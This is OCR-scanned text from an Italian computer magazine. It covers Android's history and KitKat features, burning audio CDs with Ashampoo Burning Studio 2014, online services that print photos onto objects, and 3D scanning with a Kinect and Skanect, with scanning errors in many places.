della Nestlé, non finiscono qua! Staremo a ve¬ 
dere nei prossimi mesi quali altre "leccornie hi- 
tech” ci proporrà Big G con lo scopo di consoli¬ 
dare la sua leadership nel mercato dei sistemi 
operativi mobile. 


GOOGLE ANDROID: STORIA DI UN SUCCESSO 



HTCDfeamèiIpnmo 
dispositivo Andmid ad 
amare sul mercato 
datato di tastrera fisica 
a scomparsa sotto H 
display toudisoeen. 
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A poco più di un armo 
dai pomo rilascio 
irffidale, arriva 
il primo corposo 
aggiomamentodi 
Android con possibilità 
di connessione dati. 




Adistanzadisoloim 
mese Google rilascia 
Edair 2.0. Il Nexus 
One è il primo 
dispositivo della 
serie Nexuscon 
display da 3,7 pollici. 


o 




Google sceglie Samsung 
per la produzione 
del nuovo Nexus 
S. Lo smartphone 
con Android 23 
Gingetbread, 
presenta un display 
da 4 pollici ed è curvo. 



É 


La versione 23 
di Android si 
caratterizza, 
tra le altre cose, 
per l'aggiunta 
delle funzioni di 
tetheringllSBedi 
hotspotWi-fi. 
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Si fa così 



LE NOVITÀ IN PILLOLE DEL NUOVO SISTEMA 
OPERATIVO GOOGLE 

Con il rilascio della sua ultima versione, l'OS mobile acquista maggiore personalità e introduce diverse 
modifiche all'interfaccia utente. Scopriamole nel dettaglio. 


MENU 



Il classico Menu delle 
applicazioni perde 
lo sfondo nero e 
acquisisce un più 
piacevole effetto 
trasparente che 
ci mostra In ogni 
momento lo sfondo del 
dispositivo. 



PHOTO EDITOR 

Androld 4.4 KitKat 
Introduce un nuovo 
Editor grafico che 
permette di modificare 
e stravolgere le nostre 
immagini. Bastano pochi 
tocchi per tornare al file 
originale. 



LAUNCHER 

Google ha ridisegnato 
il Launcher, ovvero la 
schermata principale 
dello smartphone. 
Adesso le Icone sono 
più grandi e per alcune è 
stato realizzato un restyling 
grafico che le rende piatte e 
minimali. 



LOCKSCREEN 


La schermata di blocco, o 
Lockscreen, mantiene il 
cerchio centrale perle 
sblocco del dispositivo 
ma nella parte in basso 
a destra troviamo l'icona 
della fotocamera. Basta 
uno swipe ve5o sinistra per 
attivarla. 



EXTRA 



Tra le altre novità 
segnaliamo una 
nuova gestione 
[della localizzazione; 
differenti modalità 
Sper risparmiare 
consumo della 
batterla; il supporto 
a nuovi sensori come il 
rilevamento e il conta passi. 



HOME 


utenti inglesi e 
mericani possono 
una 

pronunciando 
Google* seguita 
dalla frase che si 
vuole cercate. Questa 
è al momento 
attivabile in italiano. 



HANGOUTS 

vecchia applicazione 

dal nuovo 
Il sistema 
messaggistica 
di Google. 
abbiamo quindi 
SMSeInstantMessageIn un 
unica applicazione. 



TELEFONO 

Grazie al 'cader Id" 


e in futuro 
visualizzato il 
nome del chiamante. 
Migliorata la ricerca del 
contatti: è possibile trovare 
un numero digitando il nome. 



CHI Si 

AGGIORNERÀ 
A KITKAH 

I primi dispositivi 
che riceveranno 1' 
aggiornamento a 
KitKat saranno i 
dispositivi Nexus: 
Nexus 4, Nexus 7 e 
Nexus 10, seguiti a 
ruota dalle versioni 
"Google Edition'di 
HTC One e Samsung 
Galaxy S4. Per quanto 
riguarda gli altri 
modelli di smart¬ 
phone dei maggiori 
produttori, i tempi di 
aggiornamento di¬ 
chiarati sono di circa 
90 giorni: ii ritardo è 
dovuto alla pesante 
personalizzazione 
software effettuata 
dai produttori. 
Android è infatti un 
sistema operativo 
open source e tutti i 
principali produttori 
lo personalizzano con 
le loro interfacce, 
inserendo funzioni e 
modificando profon¬ 
damente il layout del 
sistema operativo. 



La versione 3 di 
Android aggiunge 
il supporto ai 
tablet, la barra di 
sistema e quella 
delle notifiche. 
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Con il Nexus 4 
Google abbandona 
Samsung e 
passa ad LG. 

L'OS migliora il 
rendering e la 
visualizzazione 
degli elementi 
grafici 
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Con ICS viene 
introdottala 
funzionalità di 
riconoscimento 
kicialeperlo 
sbloccodeldlspiay.il 
primo smartphone 
conAndroid4.0èil 
Galaxy Nexus. 
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Il Nexus 5 
è l'ultima 
fatica di LG in 
collaborazione 
con Google. Per 
la prima volta in 
Italia è possibile 
acquistarlo dal 
PlayStore. 
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miliardi di app 
scaricate nel 2013 

26 

miliardi di dollari 
il fatturato generato 
dalle app 

91 % 

dei download 
riguarda le applicazioni 
gratuite 

























I Software | AshampooBurning Studio 2014 


Masterizzazione 





tuoi MP3 
sull’Hi-Fi 

Realizza una compilation di 
brani su CD Audio da ascoltare 
in saiotto 0 in auto 


IN REGALO 

ASHAMPOO^^»^ 
BURNING 
STUDIO 2014 

Sok) per I leHon di 
Win Magazine DVD e GOLD 

L_ A 


Cosa ci f 
occorre 


■ SOFTWARE PERÙ 
^ MASTERlZZAZK)f)E 

ASHAMPOO 
BURNING 
STUDIO 2014 ; 

■j Lo trovi su: LUCO i?DVD | 

;■ Quanto costa; Gratuito ? 
per i lettori delle ^ 
versioni DVD e Gold | 
di Win Magazine | 
Sito Internet 
wvirw.ashampoo.com 


npoo.com | 


L e raccolte di brani MP3 sono molto pratiche 
da ascoltare ovunque una volta memoriz¬ 
zate su PC, su CD oppure su una chiavetta 
USB. Il problema è che molti di noi possiedono 
apparecchi come gli impianti Hi-Fi e gli stereo 
dell’auto che non sono compatibili con i formati 
audio compressi. Come possiamo fare allora 
per ascoltare la nostra musica preferita anche 
in salotto o in viaggio? La soluzione è presto 
detta: masterizzare un CD Audio! Per farlo in 
modo semplice e rapido possiamo utilizzare 
Ashampoo Burning Studio 2014, in regalo per 
tutti i lettori di Win Magazine DVD e Gold, una 
suite completa per masterizzare CD, DVD e 
Blu-ray, creare backup, realizzare e stampare 
copertine ecc. Per creare il nostro CD audio 
impiegheremo pochi minuti e, utilizzando un 
disco riscrivibile, potremo ricreare una nuova 
compilation ogni volta che vorremo senza spre¬ 
care neanche un CD! 



Prima di tutto il setup 

k5compattiamo sul disco rigido l'archivio com¬ 
i-presso ASSS2074.z/ÌDpresenteneir/rjferfac- 
' ciaphncipaleóeì Win DVD-Rom ed eseguia- 
mW}leashan^_biMrmg_sluc&)_2014_ 12.0.5_ 1S05Z 
exe. Nella prima schermata premiamo OK, poi Accet¬ 
to e procedo, quindi Avanti. 




























Masterizzazione 


Ashampoo Burning Studio 2014 | Software 



Seguiamo la procedura guidata 

^ Nella schermata successiva selezioniamo No, 
I grazie e premiamo Avanti. Al termine dell’ln- 
stallazione premiamo Fine. Il software si avvie¬ 
rà automaticamente e comparirà la schermata della 
registrazione. Facciamo clic su Richiedila chiave GRA¬ 
TUITA perla versione completa. 



Il codice seriale dei programma 

B ;Nel sito che appare digitiamo la nostra e-mail 
;• e premiamo Richiedi chiave per versione 
completa. Se abbiamo un account Ashampoo, 
effettuiamo il login e recuperiamo il seriale di attivazio¬ 
ne (ci verrà inviato anche tramite e-mail). Selezioniamo 
il codice e copiamolo {Ctrl+C). 




La tua vrrakma compMa a Himitata è ora atttvatat 



Attivazione effettuata! 


B Passiamo alla finestra di Ashampoo Burning 
Studio 2014. Facciamo clic su Incolla dagli 
appunti e poi su Attiva per attivare la versione 
completa del software. Cucchiamo quindi sul pulsante 
Continua per accedere all’Interfaccia principale del 
programma. 





— 



Svuotiamo il riscrivibile 

.Per cancellare un CD riscrivibile, inseriamolo 
; nel masterizzatore e nell 'interfaccia cucchiamo 
su Cancella disco riscrivibile. Lasciamo sele- 
Cancellazlone rapida, procediamo con Can¬ 
cellare CDe confenniamo con Si Una volta cancella¬ 
to, il CD verrà espulso: premiamo Fine. 



zionato 



Prepariamo la compilation 

rCreiamo adesso un CD Audio con le nostre 
^canzoni preferite da ascoltare usando l'Hi-Fi 
■ di casa o lo stereo della nostra auto. Riapria¬ 
mo il programma e nell’interfaccia principale faccia¬ 
mo clic sulla voce di menu Musica, quindi su Crea 
Audio CD. 



Che brani inseriamo? 


B Premiamo Aggiungi, raggiungiamo la cartella 
dei brani (con estensione MP3. FLAC, WAV, 
WMA oppure OGG] da aggiungere al disco, 
cucchiamo su Aggiungi, quindi su Chiudi Selezionan¬ 
do i brani della compilation possiamo modificarne l’or¬ 
dine di esecuzione con Sposta Sue Sposta Giu. 



Questione di volume 

;JI programma di default normalizza il volume 
: di tutti i brani musicali. Se non desideriamo 
farlo, facciamo clic sul pulsante Modifica, 
leviamo la spunta da Normalizza il volume di tutte le 
traccee premiamo OK. Una volta pronta la compilation, 
procediamo cliccando sul pulsante Avanti 


Parte la masterizzazione 

a : Selezioniamo dal menu a tendina in alto il 
masterizzatore e inseriamo in esso il sup¬ 
porto riscrivibile che abbiamo cancellato (o, 
se preferiamo, un disco vergine da masterizzare). 
Utilizziamo le impostazioni di default e premiamo 
Scrivi CD. 


Il CD Audio è pronto! 

S m.SI aprirà una nuova finestra che mostrerà lo 
listato del processo di masterizzazione. Al ter- 
m mine premiamo OKe poi Esci Non ci rimane 
che espellere il disco dal masterizzatore e inserirlo in 
un qualunque CD player per ascoltare la nostra musica 
preferita. Buon ascolto! 
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Grafica Digitale 


Speciale trucchi | 30 folli idee per le tue foto 


30 folli idee 
per le tue foto 


Alla scoperta dei servizi più stravaganti del Web, per stampare 
i tuoi scatti (e non solo) in oggetti reali! 


T ra digicam e smartphone, il nostro hard 
disk pullula di gallerie fotografiche che 
racchiudono i momenti più belli della no¬ 
stra vita: è davvero un peccato fruirne solo sui 
display dei nostri dispositivi. I.a soluzione piti 
ovvia sarebbe stamparle su carta fotografica, ma 
non avrebbe senso... del resto, ci siamo attrezzati 
con NAS da svariatiTB, dischi USB uItracapienti 
e tutti i servizi cloud offerti dalla Rete (Picasa, 


Dropbox ecc.) proprio per non dover riempire 
casa di carte che col tempo sbiadiscono. Qui ci 
vuole un lampo di genio! Partendo dal dilemma 
"dove posso stampare i miei ricordi?” abbiamo 
eseguito delle ricerche sul Web, imbattendoci in 
servizi di stampa innovativi e originali. Sapevi 
che con una tua foto puoi creare una caricatura 
su un omino Lego? O che puoi trasformare i tuoi 
scatti in bassorilievi in legno o in sculture da 


salotto? E che dire della possibilità di personaliz¬ 
zare simpatici gadget come uncubo di Rubik, un 
peluche o la cover dell’iPhone/iPad per un’idea 
regalo fuori dalle righe? E sai che puoi stampare 
anche il tuo DNA per creare un quadro futuri¬ 
stico o trasformare il diario di Facebook in un 
libro autobiografico? No?!? E allora non perdere 
altro tempo! (iettati a capofitto nelle nostre folli 
idee: rimarrai piacevolmente sbalordito! 


© TRASFORMA I TUOI 
SCATh IN SCULTURE 

Con Bumpy Photo (http://bumpyphoto. 
com) è possibile aggiungere una terza 
dimensione ai nostri ricordi più belli, tra¬ 
sformando una normale fotografia in un 
oggetto dotato di profondità. Il servizio 
prevede due possibili soluzioni: mettere 
in rilievo il soggetto principale lasciando 
intatto lo sfondo, oppure ritagliarlo. Il costo 
base parte da 93 euro circa, ma bisogna 
aggiungere gli extra per il trasporto e per 
le eventuali caratteristiche aggiuntive 
richieste. 




Attualmente, le stampanti 3D costano 
ancora molto; per fortuna, Online sono 
disponibili diversi servizi che mettono a 
disposizione le loro strumentazioni per 
realizzare a distanza i nostri sogni. Basta 


Riii 

ìl 

IO 


ELEVATA 

MEDIA 

BASSA 



inviare un modello 30 della nostra idea; 
in alcuni casi, è possibile utilizzare i tool 
messi a disposizione dal sito per realiz¬ 
zare il campione direttamente oniine. Il 
costo finale del prodotto dipende dalla 
dimensione, dalla complessità dell'og¬ 
getto e dai colorì utilizzati. Tra i migliori 
siti segnaliamo Scuipteo (vvww,sculpteo. 
com) e Shapeways (www.shapeways. 
com). 



STAMPATI 
LA COVER 
DELL'lPHONE! 


Sul sito www.winmagazi- 
ne.it/link/2366 possiamo 
acquistare una cover pro¬ 
tettiva per iPhone 4/4S/ 
personalizzabile con le 
nostre foto. 


© STAMPA IL QUADRO 
DEL TUO CODICE 


GENETICO 


Perché non dare un tocco di eleganza 
all’appartamento in cui viviamo sfrut¬ 
tando il nostro DNA? DNA11 (www.dnal 1. 
com) ci consente di trasformare la nostra 
“elica genetica” in un’opera d’arte co¬ 
loratissima e irripetibile da appendere 
alle pareti. Formalizzato l’acquisto Online, 
riceveremo a casa un kit per prelevare 
in maniera assolutamente indolore un 
campione di DNA, da rispedire. In pochi 
giorni, riceveremo a casa il nostro “quadro 
desossiribonucleico”! 


-dnoll 



0 REAUZZA SUBITO 
IL CALCO-RICORDO 
CON L£ IMPRONTE DEL 
TUO BAMBINO 


Il sito www.manina.info/rt offre ai novelli 
genitori la possibilità di acquistare un kit 
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per riprodurre l’impronta della manina o 
del piedino del loro pargoletto. Un ricordo 
davvero originale e unico da custodire 
negli anni a venire! Il kit è composto da 
un supporto-cornice in policarbonato, la 
gomma siliconica per imprimere il calco, 
il coperchio per livellare la gomma, un 
piedistallo, il gancio appendi cornice, un 
disco di acetato e istruzioni all’uso. 



© CREA UN 

BASSORIUEVO IN 
LEGNO DEI TUOI RICORDI 


Photocarver (https://store.photocarver. 
com/it) è il sito adatto per un regalo ele¬ 
gante e originale. La nostra fotografia non 
verrà semplicemente stampata sul legno 
ma sarà incisa così da realizzare un vero e 
proprio bassorilievo. Basta caricare un’im¬ 
magine, scegliere il tipo dì realizzazione, 
il formato e il colore per vedere in ante¬ 
prima il risultato. E solo quando saremo 
soddisfatti potremo aggiungere il prodotto 
al carrello e procedere con l’ordine vero 
e proprio. 



CALENDARI 
SU MISURA 

Con www.winmagazine.it/ 
link/2367 trasformiamo i nostri scat¬ 
ti in splendidi almanacchi per allie¬ 
tare tutti i giorni del 2014. 



un personaggio a nostra immagine e 
somiglianza, partendo da una fotografia 
accompagnata, eventualmente, da una 
descrizione. Minifìgs procederà poi alla 
realizzazione del prodotto. In alternativa, 
possiamo costruire da noi il personaggio 
scegliendo le varie caratteristiche da un 
ampio catalogo. 



Il cubo di Rubik esce dagli schemi cro¬ 
matici tradizionali: adesso, grazie al sito 
Il tuo cubo (www.iltuocubo.com), può es¬ 
sere completamente personalizzato con 



^ STAMPA LA TUA 
W CARICATURA 
SU UN OMINO LEGO 


Grazie a Minifìgs (http://minifigs.me) è 
possibile diventare parte del mondo Le¬ 
go. Il sito, infatti, consente di costruire 


le fotografie preferite dell’utente. Scelta 
la versione (2x2x2,3x3x3 o 4x4x4), basta 
caricare le sei immagini e in un attimo 
avremo l’anteprima del risultato da usare 
per l’ordine o da salvare per utilizzi futuri. 


MAGLIETTE 
FAI DA TE 

Su www.winmaga2ine.it/link/2368 
possiamo caricare le nostre foto per 
stampare felpe e magliette con le 
taglie e le misure che preferiamo. 



© CARO DIARIO, 
TI SCRIVO... 
DA FACEBOOK 


In questo mondo sempre più tecnologico 
ogni tanto le vecchie abitudini tornano dì 
moda, anche se in chiave moderna. I più 
nostalgici, ad esempio, possono finalmente 
stampare su carta il diario di Facebook. 


Basta collegare il proprio account all’ap- 
plicazione Lrfebook (www.likebook.me) 
e scegliere gli elementi che desideriamo 
stampare. Il servìzio farà il resto, a prezzi 
contenuti. Prima di procedere all’acquisto, 
possiamo esaminare il risultato in una 
piacevole anteprima. 



omm 

Difficile sfuggire al fascino dei fotomosai¬ 
ci: da lontano sembrano immagini normali, 
da vicino ci si accorge che sono costituite 
a loro volta da tante altre immagini. Easy 
Moza (www.easymoza.com) è uno dei tool 
Online più veloci e facili da utilizzare. Basta 
selezionare Tìmmagìne di partenza, sce¬ 
gliere un buon campionario di immagini 
da usare come “pixel” e il gioco è fatto. 
La versione a bassa risoluzione è gratui¬ 
ta, mentre quella stampabile (ottima per 
realizzare un bel quadretto) deve essere 
acquistata. 




N“ 
NOSCI 


IH 


Come in un film poliziesco, divertiamoci 
pure a ricreare il nostro identikiL o quel- 


PELUCHE 

COCCOLOSI 


Cerchiamo un simpa¬ 
tico regalo per inostri 
bambini o per la no¬ 
stra amata? Puntia¬ 
mo a un tenero pelu¬ 
che con la nostra foto: 
www.winmagazine.it/ 
link/2369. 
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DA FOTO A TAZZA 

Il thè 0 il caffellatte sarà di certo più gu¬ 
stoso se sorseggiato in una tazza perso¬ 
nalizzata con le foto che amiamo di più: 
www.wìnmagazine.it/linl</2370. 



un avatar in perfetto stile manga (fumetto 
giapponese), quanto più possibile simile 
a noi 0 a come vorremmo essere. L’appli¬ 
cativo consente di scegliere tutti i dettagli 
del nostro aspetto, dalla forma del viso a 
eventuali cicatrici! La foto creata può esse¬ 
re utilizzata anche per stampare locandine 
originali (ad esempio i componenti di una 
rock band) o carte d’identità virtuali da 
custodire nel portafogli. 




0 Mi TRAFORiyiO 
IN UN MANGA! 

Distinguersi nel mondo virtuale è im¬ 
portante, e Face your manga (www.fa- 
ceyourmanga.com) nasce proprio con 
questo intento. Si tratta di una simpatica 
applicazione oniine che consente di creare 


"SOnOCOPERTA 
CON LE FOTO 

Stampa un plaid con la foto del tuo 
quadretto familiare e riuniscili tut¬ 
ti sul divano al calduccio a guarda¬ 
re un bel film: www/.winmagazine. 
it/link/2372. 


O FACCE DA UBRIACONI 

L’abuso di alcool fa male, è indub¬ 
bio: non solo limita le capacità intellettive, 
ma incide fortemente anche sul nostro 
aspetto. Un deterrente che dovrebbe farci 
desistere definitamente da quei bicchietino 
di troppo, anche se saltuario, potrebbe 
essere vedere noi stessi nei panni di un 
beone. È quanto promette il sito Drink 


lo di un amico, magari per stamparlo e 
affiggerlo in giro per la città. Lo scherzo 
è assicurato: qualcuno riconoscerà quel 
brutto ceffo? Il sito Flash Face (http:// 
flashface.ctaptde) mette a nostra dispo¬ 
sizione un’ampia gamma di caratteristiche 
somatiche, quasi come in un programma 
professionale, grazie alle quali realizzere¬ 
mo un identikit in stile “tratto matita’’ con 
pochi die del mouse. 


WUUUW. 'J 
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smarter (www.drinksmarter.org/web- 
version/index.html), in grado di applicare 
su una nostra foto gli effetti dell’alcool nel 
tempo. Possiamo condividere il risultato 
su Facebook o salvarlo in JPEG (Save) per 
stamparlo e fare uno scherzo simpatico. 




UN GUANCIALE 
FAMILIARE 


Crea un cuscino con la foto 
dei tuoi cari per stare sempre 
guancia a guancia anche tra le 
braccia di Morfeo www.win- 
magazine.it/link/2371. 


Con Vizago (vwnv.vizago.ch) potremo cre¬ 
are rapidamente un modello 3D del nostro 
viso, eventualmente da condividere sui 
principali social network. L’utilizzo è de¬ 
cisamente semplice: effettuata la registra¬ 
zione al servizio, necessaria per conserva¬ 
re il nostro lavoro, dovremo caricare una 
fotografia e seguire le istruzioni riportate 
a video. Il modello ottenuto è orientabile 



in tutte le direzioni. Nella sezione Demo/ 
Resuits troveremo tutte le trasformazioni 
in 3D delle nostre immagini e, in basso, 
alcuni scatti (in costume) che potremo 
trascinare sul Desktop per stampare dei 
quadretti originali! 

IL TUO QUADRO 
MESSO SU TELA 

Un modo originale per creare un quadro 
moderno su un supporto old style lo tro¬ 
viamo su vvvvw.winmagazine.it/link/2373. 




DAL PARRUCCHIERE 
VIRTUALE 


Meglio biondi o bruni? Con i capelli lunghi 
0 corti? Grazie a Image Hair Styler (http:// 
imagehairstyier.appspoLcom) non corre¬ 
remo nessun rischio: se il risultato non ci 
piace, basterà cancellarlo e riprovare. Nel 
frattempo, caricata la nostra fotografia, o 
scattata al volo con la Webeam, potremo 
sbizzanìrci scegliendo il taglio e la tonalità. 
E una volta soddisfatti del risultato, sarà 
possibile salvare la fotografia per stam¬ 
parla e mostrarla al parrucchiere, quello 
vero, che dovrà replicare il taglio! 





SOLO SU WIN EXTRA PUOI 
TROVARE TANTE ALTRE IDEE : 
ORIGINALI PER LE TUE FOTO ! 
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Scanner 3D 
fatto in casa 

Accendi il Kinect e... spegni la Xbox! Trasforma il sensore 
Microsoft in un generatore di modelli tridimensionali 


■ colori del Natale sono tanti, ma la verdissima confezio¬ 
ne della nuova Xbox One non lascia dubbi sulla scelta 
di Microsoft per il 2013. Insieme alla nuova console, il 
22 novembre ha esordito ufficialmente anche la seconda 
generazione del Kinect, molto differente dalla precedente. 
Telecamera ad alta definizione, riconoscimento contem¬ 
poraneo di 6 persone, dettagli senza precedenti... è forse 
arrivato il momento di mettere in soffitta il nostro “vecchio” 
Kinect? Niente affatto: il bello inizia ora! 

Hack’n roll 

L’eredità del primo Kinect è davvero enorme e ancora at¬ 
tualissima. Se possediamo un Kinect per Xbox 360 o per 
Windows, è arrivato il momento giusto per sfruttarlo fino in 
fondo. Nei numeri 163 e 164 di Win Magazine abbiamo tra¬ 
sformato il rivoluzionario controller di gioco in un’alternativa 


domestica ai sistemi di motion capture hollywoodiani. Ora la 
stessa "scatoletta" di plastica darà vita ad un affidabile scan¬ 
ner 3D, capace di ricostruire persone, cose (e i mere stanze) a 
360"! Il motion capture e la scan.sione tridimensionale furono 
tra le prime applicazioni “impreviste" del Kinect, tanto da 
arrivare a fondersi nel video di Echo Lake di Young Silence 
(www.winmagazine.it/link/2364), ispirato alla celebre House 
of Cards dei Radiohead (che però faceva uso di hardware 
ben più costosi). 11 confronto porta alla luce anche i limiti 
della soluzione casalinga: se effettuata tramite un singolo 
Kinect, la scansione di oggetti e persone in movimento non 
può che essere parziale e povera di dettagli. La soluzione ci 
viene da Skanect, un software in grado di fondere le visuali 
delle diverse angolazioni in un unico modello (a patto che 
il soggetto rimanga immobile). Siamo finalmente in grado 
di realizzare la nostra controfigura digitale! 


Cosaci 

occorre 

VIDEOCAMERA 3D 

KINECT 

Quanto costa: €201,86 
in bundle con Xbox 
360 4GB su amazon. < 

it (www.amazon.it) 

Sito Internet 
www.microsofLit 

■ TOOL 01 SCANSIONE 30 : 

SKANECT 

, Lo trovi su: SICD S!DVD | 

Sito Internet j 

http://skanectmanctl.com ‘ 

; TOOL PER MOOaU 30 \ 

BLENDER 

' Lo trovi su; VjCD stOVD f 

Sito Internet 
http://www.blender.org 


Si LEGGI 


ANCHE... 


Su Win Magazine 161, 
a pagina 98, abbiamo 
visto come realizzare un 
modello 3D partendo da 
semplici foto. 


□ I software del mestiere 


Anche se il nostro hardware non è recentissimo possiamo stare tranquilli: la scansione 3D è alla nostra 
portata! Prima di collegare il Kinect, però, è meglio procurarci gli ultimi driver disponibili. 



A i Sempre aggiornati 

“l j La scansione sarà impegnativa per la 
’j-.y nostra scheda grafica. Verifichiamone il 
modello: In Start/Pannello di controllo cucchia¬ 
mo SU Hardware e suoni, quindi in Gestione 
dispositivi apnamo Schede w'deo. Aggiorniamo 
i driver dal sito del produttore. 



^ 0 Facciamo tabula rasa 

;; 2 1 II ^esto dei software ci attende nella sezio- 
Vfn# ne Grafica Digitale del Win CD/DVD. Noi 
useremo un Kinect, quindi ci serve il MS Kinect 
SDK. Da Pannello di Controllo/Programmi dm- 
stalliamo eventuali driver alternativi tipo OpenNI 
0 Open Kinect 



A Installazione completata! 

Q I A Kinect scollegato, installiamo MS Kinect 
SDK. Skanect è disponibile per sistemi a 
32 0 64 bit: se abbiamo dei dubbi su quale instal¬ 
lare, verifichiamo in Pannello di controllo/Sistema 
e Sicurezza/Sistema. Colleghiamo il Kinect alla cor¬ 
rente e al PC. 
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Silenzio sul set! Azione! 


L’accoppiata Kinect-Skanect può ricostruire oogetti di medie dimensioni, persone e stanze. 
Noi ci sentivamo artisti, così abbiamo scelto m iniziare con un busto in gesso! 



A li Trucchi hanlware 

■| : Collegando il Kinect per la prima volta, Windows avrà biso- 
■ gno di qualche istante per riconoscerio. Approfittiamone per 
completare il set di ripresa: anche se possiamo effettuare la scansio¬ 
ne spostando ii Kinect a mano, un piano girevole ci faciliterà il lavoro. 



▲ Le giuste dimensioni 

2 * Tenere fisso il Kinect e ruotare l’oggetto permette maggior 
controllo. Per un mezzo busto basta uno sgabello girevole 
(ma attenti a non muoversil). Per un oggetto va bene un piano ruota- 
TV. Scegliamo qualcosa grande almeno come una scatola da scarpe. 



A ì Disponibilità limitata 

2 j Collochiamo l'oggetto a circa 80 cm dal Kinect e sgomberia- 
mo l'area, per evitare "interferenze”. Avviato Skanect, verifi¬ 
chiamo se la nostra scheda video supporta la ricostruzione via GPU (a 
destra), ma non spaventiamoci se leggiamo GPU Unavailable. 



▲ Il mondo in scatola 

5 ; Apparirà la ricostaizione di ciò che il Kinect vede. Il soggetto 
deve essere al centro della zona attiva (cubo a fil di ferro). 
Esploriamola usando il mouse: tenendo premuto il pulsante sinistro 
{LMBì ruotiamo la visuale, con il destro (RMBj zoomiamo. 


^ La retta via 

! Skanect è in grado di effettuare la ricostruzione anche via 
CPU: dovremo solo avere un po’di pazienza. Per un mag¬ 
gior dettaglio, impostiamo il volume di acquisizione minimo {Scene/ 
Objectj. Indicato il percorso dove salvare [Patiti, cucchiamo Start. 


l.h'J H'S (SLDW) 


A i Inizia la scansione! 

0 j II pulsante in alto a sinistra avvia/ferma l’acquisizione. Clic- 
candolo vedremo il rilievo in tempo reale. Se notiamo troppi 
“buchi”, spostiamo l'oggetto, cestiniamo tutto e ricominciamo. Per 
ottenere il nostro modello 3D ci manca solo un "girotondo”! 



PIUKINEa 

PERTUni! 


Noi abbiamo utilizzato 
il Kinect originale. 
perXbox 360, ma 
Skanect è compatibile 
anche con la versione 
perWindowseisuoi 
principali concorrenti, 
l'AsusXtioProLiveeil 
Ptimesense Carmine. 
Per utilizzare questi 
ultimi non dovremo 
però installare il Kinect 
SDK: in questo caso sarà 
OpenNIfwww.openni. 
org) a far dialogare Ska¬ 
nect con la periferica. 

La libertà di scelta deve 
molto allo stupore con 
cui Microsoft assistette 
al successo della sua 
creatura. Prima che 
vedesse la luce il Micro¬ 
soft Kinect SDK ufficiale 
perWindows, si erano 
già diffusi i software 
per utilizzarlo anche su 
Linux e Mac. Poco dopo 
arrivarono anche le al¬ 
ternative hardware allo 
stesso Kinect. 


LIBERTÀ PERDUTA? 

OpenNI fu battuto sul 
tempo da Open Kinect 
(http://openkinect. 
org) che, nato dalla 
sfida delUndipendente 
Adafruit, rappresentò il 
nucleo dei primi back. 
Questo dima da "Far 
West'probabilmente 
non si ripeterà con il 
nuovo Kinect. Le pre¬ 
stazioni migliori celano 
un nuovo metodo per 
misurare la profondità, 
alla base del funziona¬ 
mento della periferica. 

Il primo Kinect e i suoi 
epigoni si basano sulla 
proiezione di una gri¬ 
glia di punti, di cui cal¬ 
colano le deformazioni 
(metodo Structured 
light). Il Kinect 2 valuta 
iltempodi"rimbalzo"di 
tre laser (metodo Time 
of Flight) ed è quindi 
incompatibile con le 
attuali alternative li¬ 
bere. Che la sfida abbia 
inizio... di nuovo! 


► 
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□Scansioni pronte all’uso 

Skanect permette scansioni facili e veloci, ma un risultato ottimale richiede qualche attenzione in più. 
Scopriamo tutti i trucchi per ottenere un modello completo, pronto per la Rete o la stampa 3D! 



A , Oggetti smaniti 

I II Kinect cattura a 30 fps (fotogrammi al 
secondo). La velocità di acquisizione reale, 
però, dipende dalla scheda grafica. Una rotazione 
troppo rapida ci farà perdere la traccia dell'oggetto. In 
questo caso, Skanect ci avviserà subito del problema. 


Chi cerca, trova 

2 ! Non dobbiamo interrompere la scansione: 
■JlJ basta tornare all’ultima posizione riconosciu¬ 
ta. È uno dei vantaggi di usare un piano girevole: ruo¬ 
tiamolo lentamente all’lndietro, ristabiliamo il “con¬ 
tatto visivo” e riprendiamo il giro... con calma, però! 


A , Luci e ombre 

2 I II nostro busto è bianco, ma Skanect può cat- 
turare il colore degli oggetti tramite la teleca¬ 
mera RGB del Kinect. Prevediamo un’illuminazione 
omogenea, altrimenti la rotazione causerà strani cam¬ 
biamenti cromatici e le texture saranno inutilizzabili. 


3.5S FPS (SLOW) 




Col Kinect in mano 

^ I A rotazione completata, noteremo alcune zone 
’.mmJ "mancanti”, collocate troppo in alto o troppo 
in basso per essere acquisite (ad esempio la sommi¬ 
tà del capo o la base del mento). Solleviamo il Kinect 
e muoviamolo a mano libera, completando il modello. 



A : Chi si è mosso? 

g i Fermiamo la scansione e aspettiamo che il 
Jw-'? programma completi il modello. Verranno rico¬ 
struite anche le differenti posizioni di cattura. Per Ska¬ 
nect è indifferente che si muova l’oggetto o il Kinect: 
per questo abbiamo potuto usare entrambi i metodi. 



A j Fusione limitata 

0 ì Clicchiamo ffeconsfrocf (in alto): fus/onper- 
mette tre livelli di ricostruzione. Noi abbiamo 
già il nostro modello, quindi procediamo oltre, ma al 
prossimo caricamento dovremo passare di qui. La ver¬ 
sione free salva solo dati grezzi, non mesh complete. 



^ . Errori, addio! 

y ; La fase successiva, Process, raccoglie 
gli strumenti di ritocco. Uno dei più utili 
è Fili holes (sezione Geometri: farà sparire i fori 
rimasti, rendendo il modello pronto per la stam¬ 
pa 30. Se ci servono i colori, invece, il tasto giu¬ 
sto è Colorize. 


▲ ; Stampa solida 

0 I II riferimento alla stampa 30 non è casuale: in 
Share scopriremo che Skanect esporta diret¬ 
tamente su Scuipteo (www.sculpteo.com/en). Termi¬ 
nato l'upload si aprirà una pagina Web. Oecise dimen¬ 
sioni e materiali (occhio ai prezzi!), potremo stringere 
il modello tra le mani! 


^ ^ Social scanner 

0 Un’altra possibilità è l’esportazione verso 
-w?' Sketchfab (https://sketchfab.com). Il servizio 
permette di interagire con un modello 30 con qual¬ 
siasi browser che supporti HTML5 e WebGL. La gal¬ 
leria contiene diversi esempi realizzati con Skanect 
{Explore/Brands/Sdscari}. 
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ni Ritocchi d’artista 


Per i più ambiziosi, Skanect può esportare nei più noti formati 3D. Scalpelli e pennelli virtuali ci aspettano 
in Blender. Allacciamo le cinture: stiamo entrando nel regno della computer grafica! 


Sa- 

.. 


' lt<l- 




Wammg: no PRO ieense was cof^gured. 

■ .V • 


In thè ftoo vosion, onty cfiptured «naoes né be saved or àek. moshes wort. 

■ •'vv:',' 


'fou né have to regenesate them through ofAne reconsferuebon when reioMkig 
thè scan. 



Oì: 

1_in' 



^ Vecchie conoscenze 

1 Se gli strumenti di Skanect non ci bastano, possiamo esportare il 
- modello verso il nostro programma 3D preferito. È qui che si fanno 
evidenti i limiti della versione gratuita. Quando salviamo (Save) emergerà 
il primo, che già conosciamo [Passo C6}. 



▲ A tutto scaricamento 

